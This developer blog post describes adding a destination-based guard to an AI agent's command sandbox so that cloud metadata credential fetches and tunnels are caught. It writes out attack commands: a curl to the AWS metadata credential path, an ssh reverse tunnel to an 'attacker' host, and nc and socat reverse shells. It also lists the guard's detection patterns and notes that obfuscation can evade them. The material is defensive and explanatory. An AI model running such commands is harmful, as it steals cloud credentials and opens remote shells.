A credential fetch is a read: the containment guard your write-target sandbox was missing
The mental model most of us have for a sandboxed command is a write model: the sandbox decides what the command may touch, and "touch" means write. Create this file, delete that one, overwrite the other. Our own bash tool does exactly this — the workspace-write tier scans a command for its write targets and blocks any that land outside the allowed area.
That model has a hole, and the hole is a read.
The read that steals a cloud credential
On any cloud host, there is an HTTP endpoint every process can reach that returns the instance's IAM credentials:
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/...
169.254.169.254 is the AWS instance metadata service (IMDS). ECS containers get their credentials at 169.254.170.2; GCP mirrors the pattern at 169.254.169.123 and metadata.google.internal; IMDSv2 has an IPv6 form at fd00:ec2::254. None of these are remote addresses — they are link-local, reachable from inside the sandbox without any network policy. A single curl, a single read, and the credential is in the command's stdout, ready to be sent anywhere.
A write-target scan passes that command. It writes nothing. It touches no protected file path. The exfiltration happens entirely over the network, in the read direction.
The tunnel that turns a read into a channel
The read alone is only useful if the result goes somewhere. The classic move is a reverse tunnel:
ssh -R 1080:169.254.169.254:80 user@attacker
Now the attacker's box can reach the metadata endpoint through the tunnel, and the sandboxed command just... started ssh. Variants: nc -e /bin/sh attacker 4444, socat EXEC:/bin/sh TCP:attacker:4444, and the IMDSv2 token request header (X-aws-ec2-metadata-token) used to hide the fetch behind an obfuscated command line.
Why the destination check must run on both checked tiers
The fix (merged as #1103, commit fa63a32) is a destination-based containment-escape guard that complements the write-target scan. The key design decision: it runs on both checked tiers — read-only and workspace-write — because a metadata fetch is a read and would otherwise sail through the write check. The guard scans for:
- cloud metadata endpoints (IMDSv1/v2, ECS, GCP, IMDSv2 IPv6)
- ssh reverse/dynamic tunnels (
-R/-D, and long-form-o RemoteForward=.../-o DynamicForward=...) - netcat exec backdoors (
nc -e,ncat --exec) - socat
EXEC:/SYSTEM:addresses - the IMDSv2 token request header
Some of the detail is genuinely fiddly, and worth reading in the diff. -L (the common dev port-forward) is deliberately allowed, since a -L whose destination is a metadata endpoint is already caught by the endpoint rule. The ssh rule stops at quotes so ssh host 'grep -R x' — a remote command containing the grep flag, not a tunnel — is not flagged. The long-form -o RemoteForward= rule deliberately does not stop at quotes, because a quoted RemoteForward= string has no legitimate non-tunnel use, unlike -R which collides with grep -R inside remote commands.
The danger tier still gets a warning
The danger-full-access tier opts into no blocking — that is its contract. But the guard still runs and appends a visible warning to the tool result, so a credential fetch inside an unrestricted command is at least visible to the caller instead of silent.
Borrowed, credited, and honestly bounded
The pattern is borrowed from Claude Code v2.1.257, which shipped the same class of guard under the name "Containment Escape" — the commit says so. That is the healthy version of ecosystem reading: take a proven boundary from elsewhere, reimplement it for your own threat model, and credit the source.
And the honest limits: this is a static, heuristic command scan, not an OS-level sandbox. No bwrap, no Seatbelt, no ACLs. A determined adversary with an obfuscated command can evade pattern matching — the guard raises the bar and makes the naive attack fail loudly; it does not claim to be a wall. That is the right trade for a tool that must stay usable in development.
143 new lines of tests pin the vectors down, including the quote/flag edge cases above.
The lesson, in one line: a sandbox that only watches writes is blind to the cheapest theft there is — a read that returns a credential. Watch the destinations too, on every tier.
Top comments (0)